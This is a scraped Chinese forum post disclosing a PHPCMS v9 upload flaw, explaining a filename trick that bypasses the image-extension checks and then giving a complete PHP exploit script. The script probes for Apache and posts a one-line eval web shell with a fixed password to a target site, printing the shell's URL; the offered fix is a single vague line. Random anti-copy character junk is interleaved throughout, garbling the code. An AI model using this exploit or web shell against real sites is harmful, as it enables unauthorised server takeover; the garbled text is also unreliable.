找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2500|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
' c4 E; l7 g: h& ?+ x% B5 [/ ?8 H3 ?2 j3 P3 H0 M. e. M
简要描述:% S9 l: B2 Y3 C3 ]! N
9 n7 B9 D4 V& ~$ `+ h' `# y
phpcms v9 getshell (apache)
  D1 d! f. _+ N7 k详细说明:( _% k" D) U2 a8 h( M+ B
3 p& Q. v7 G( X* \3 o
漏洞文件:phpcms\modules\attachment\attachments.php5 _! A3 m/ {+ c0 ~
2 C: d& S+ ]+ x) ?. i: k& l1 _" ?# k
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } & b/ C" M. ?4 a2 }) n
后缀检测:phpcms\modules\attachment\functions\global.func.php1 r9 z& ^( t6 u

: z# v8 k- H# R4 q 6 u) l, ~2 v$ S; @0 W1 y1 G6 M# Z
6 u5 v) O" J* O( ?) ?( D3 R
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  2 H# T" f0 ^1 C* b5 g7 }: |# g( I2 ^
6 S- G7 `& f7 Y; \" J
关键函数:2 U. a3 e7 n; Y* W" S0 E& U
+ L/ S/ |* G! F  @- \
+ w) X- K& I9 `/ y1 s

8 V) L1 f  D4 Y" cfunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
  R3 l- e) S1 y' Z7 d/ {: z
, Z" O1 |' W# F; \7 ]& K2 y* U  Fileext函数是对文件后缀名的提取。
1 b) y- Q& A* u根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php% e3 b# G* ^. ?7 R# V
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。0 T9 a# P  `  U4 o: q
我们回到public function crop_upload() 函数中
/ `: u/ ?! j; S; b0 Sif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
8 K! R, ?. v7 v- ]0 I在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
" c2 w8 D& b+ w! w* L5 Q这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
* c, F( ?0 o9 @% a5 F经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
! m( ~: O9 ^8 U+ R+ j- g2 u! q- Q最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
  K3 o7 ~/ F# q' Z; P看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。4 B2 ?% U& I( N# _3 ^
漏洞证明:
  Y( V2 e4 a2 {( a9 J
8 R5 c4 [* [( A4 a7 Aexp:
# \7 P3 z) A+ ?& m# I
; ^3 M) w' S) c% {, |- o<?php3 o- V% h2 M  ?% {- }. }$ ~
error_reporting(E_ERROR);) L8 N8 e( d5 Y$ E
set_time_limit(0);- x9 X1 _! y# u  Z& `: D  f
$pass="ln";4 }+ j! o' e% N' m7 t) n, A' Y
print_r(') n( g- ^  _& n* Z7 U" P% V
+---------------------------------------------------------------------------+) B- S# d3 Q. z" i
PHPCms V9 GETSHELL 0DAY 1 d+ [4 F$ d2 e- O; O$ p" U
code by L.N.' ^& a' S9 W7 X: s8 g+ x  h
# b: r0 W, R& ]& B  V" k
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
! @5 N! T% D8 d4 D6 [* U" q+---------------------------------------------------------------------------+  \  o! i! X+ Q$ C1 a0 l7 B
');  [) @0 @4 a3 w. n+ B! N! Y
if ($argc < 2) {, N9 A( w1 n0 j2 b; \
print_r('
  p. I- A! j0 c) D9 O* c/ M5 K- E+---------------------------------------------------------------------------+, n" Z% _0 u( ?; S9 `0 E
Usage: php '.$argv[0].' url path& \, ?9 Y! Q$ s: b- r: `

" {( q$ W% g' f; F' m7 uExample:/ H6 q- I) _/ [0 Q. r
1.php '.$argv[0].' lanu.sinaapp.com
3 C6 A2 R3 m4 E/ w: u6 J2.php '.$argv[0].' lanu.sinaapp.com /phpcms. r: ?0 a" u  |. w% M5 ]
+---------------------------------------------------------------------------+& _8 X: Z5 U6 r0 n. N. ~
');
0 T7 c! @3 k7 o9 }$ C9 nexit;
, K, b- Y- ^( Z5 m0 v}; f8 G- b. ]9 B* g! g( P

; E- R6 q: Q0 F8 o6 ]8 D( d  K4 P$url = $argv[1];
! }2 g0 g' c0 y$path = $argv[2];
' v- m' @: {: ~9 ]; |2 ~$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';" L6 l8 s2 O- l6 u9 L/ P1 B* S$ v
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';# h% d$ E4 u/ H2 y5 d; p
if($ret=Create_dir($url,$path))
* j  \; g: n" j3 O: b. b9 B, {{
! p3 f! u4 {( ^! o! S//echo $ret;
: Q+ z5 }3 }# {3 B- r9 z$pattern = "|Server:[^,]+?|U";% u( H/ r' q; X; E/ `* y- W
preg_match_all($pattern, $ret, $matches);
% P2 |3 Z7 ]$ i# e0 r, i+ lif($matches[0][0])
% W5 [2 D$ N% H, g1 C2 o7 F{
- A8 H3 Q3 N4 @3 j/ ~if(strpos($matches[0][0],'Apache') == false)
+ f- M9 S( p; V/ `; I2 ^4 a; a& @{
( u' q+ m$ n/ a* @" v$ z3 r/ lecho "\n亲!此网站不是apache的网站。\n";exit;- L3 T0 f$ k/ K* d5 }
}
: @$ v4 Y+ u% w- A5 F4 R" f3 I}& D& c+ W, J9 G1 X9 I* e
$ret = GetShell($url,$phpshell,$path,$file);6 c7 b. ~7 v; `) V% O, C5 Z: L
$pattern = "|http:\/\/[^,]+?\.,?|U";
0 `4 c+ I" w. {2 t. t. w! fpreg_match_all($pattern, $ret, $matches);
& ~2 Y& M' x# t7 ]& kif($matches[0][0])
1 t- f$ \+ y  |: d) r# q, y& \! R{
, B4 J9 ~, B7 w2 hecho "\n".'密码为: '.$pass."\n";4 B2 l3 {$ F8 `4 _& j
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
* o- h! c$ B$ N8 ~5 A4 u}% ?! B- M+ f3 q# B- H% ~
else
" l( D! d, l0 g% `& ~{
8 d7 ~# S8 `) o% O8 B9 G- }$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
8 s. j) b" F' Qpreg_match_all($pattern, $ret, $matches);& a6 t- c  v! Y( ^8 I' U; w
if($matches[0][0])
. H! z7 ^9 D4 @( U$ Q1 S{
5 G( ?4 O; x8 P& Hecho "\n".'密码为: '.$pass."\n";0 P4 m; M6 s# {5 R  _) k/ Y$ j6 B
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
! Z) p( O, I+ t: J+ `}
* T$ y3 j' c' `* j. k) `0 F" ^else
3 k' f% [5 O: j, ^( z5 Q9 v{2 U3 G3 e+ ^5 A
echo "\r\n没得到!\n";exit;
) l* [+ {5 H0 Q$ _( P, V}
/ N6 v- b' B; g1 R. \8 d, x2 J! Q}
+ s0 V5 W# N( S& f. L. m& B}
, C2 v+ m# o  Y  m8 y+ f. D
: [5 ~- O+ X' z9 b# Tfunction GetShell($url,$shell,$path,$js)
9 C8 {$ K3 _" w{
0 d" g7 o* W8 t$content =$shell;; I3 i9 A. o% a. U; u0 {
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";  E- ~: ]0 J# [
$data .= "Host: ".$url."\r\n";
3 R' t+ G+ ^& I: {5 ]4 Y# V$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";5 q( u9 c( {7 J$ L
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
4 _, N) V( ~3 y# G$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";8 g( m$ Y, \' o/ D4 I4 y/ t
$data .= "Connection: close\r\n";
+ E$ c- _% d+ O# L6 p$ b2 ]$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$ }' f2 j4 _% x+ ]$data .= $content."\r\n";  L; p# k9 S& y$ Y
$ock=fsockopen($url,80);: D6 A2 q+ j$ S& S
if (!$ock)( a  I* [" l( _4 F; _" j# I
{
9 T  U8 g- U5 t2 Z# eecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
: \" D# Y# r1 e! w& e6 V& J}+ g0 w+ ~" s! l& a) e- y
else' L3 t/ P' \& }+ m
{
( n0 s3 k  X8 Y5 [fwrite($ock,$data);. C, H; ~# X: X' f4 c, s  L1 Q8 Z
$resp = '';
7 D! c# t* ~& X' [while (!feof($ock))+ U' X7 K- G; p6 c  E8 s0 Q( e
{
+ ~& S( V- q, a7 @6 `, r$resp.=fread($ock, 1024);
8 ~' W+ D( g% \- h* \7 |/ p}
! q3 x1 b0 A7 ~, Y6 Mreturn $resp;$ S$ S' S2 }; F0 w( i5 r# Y
}! T. {# Y3 k* V1 g7 R! E) J# O$ k
}
( |  J8 r( ~  j( a1 i) @5 W/ i8 D) X- `5 y! }8 r1 Z% O
function Create_dir($url,$path='')
* [, u2 |; B, f* D{
! Z8 ?  |. n, Y, F9 D5 }$content ='I love you';7 N+ |* i" k  L0 e9 L, i! n
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";; y$ z  \& j& {8 {. w6 ]
$data .= "Host: ".$url."\r\n";
: B! h  F0 Y) d/ B, n% x$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
* P- I% f/ n* j" P4 p) B$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";0 q4 k( \: ~) F" F+ U
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
% f. |( I- b# j$ L$data .= "Connection: close\r\n";
1 R2 d  z9 _5 A: F; ]+ J& F2 G6 m$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
0 |- Z$ [9 P! M1 R; t2 X( B$ d$data .= $content."\r\n";
; a/ Y$ K* S% Z! r9 g: L$ock=fsockopen($url,80);
7 `1 O1 @/ `: K* m0 d/ dif (!$ock)5 G. ]; j  F) L. t* x. r( A
{
6 P3 A! Y: X) h5 U: techo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
4 c8 o& B# w1 S9 c! T  s8 N$ X}" e% l/ ?, ]+ u9 {
fwrite($ock,$data);$ O: Z: B* G: m- m$ K7 J/ D: ?
$resp = '';0 ?5 ^; ?" w0 b3 @2 c& ]* a: H
while (!feof($ock)); h2 z  E" `. a2 K" ]
{
! c/ h1 T! n8 ?- r8 R: D# o$resp.=fread($ock, 1024);) m2 \. k1 Z' C' p8 D
}- h( {" E/ M2 G9 C
return $resp;7 }9 \2 Y- f1 I
}
1 d* C0 b% V, ^4 u$ W?>
: y8 s% I1 }6 X" I8 m, O4 J8 X 4 W, R  r( R  \$ A7 v- e
修复方案:8 v  m% [+ W$ {% _# K2 Q- r. d5 N

# Q& ]$ \5 ^3 Q, L过滤过滤再过滤
5 _9 P. |" F, @, ^0 n" [: e" h- U& x
, L# Z( v+ p% ^7 k: |9 n8 c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表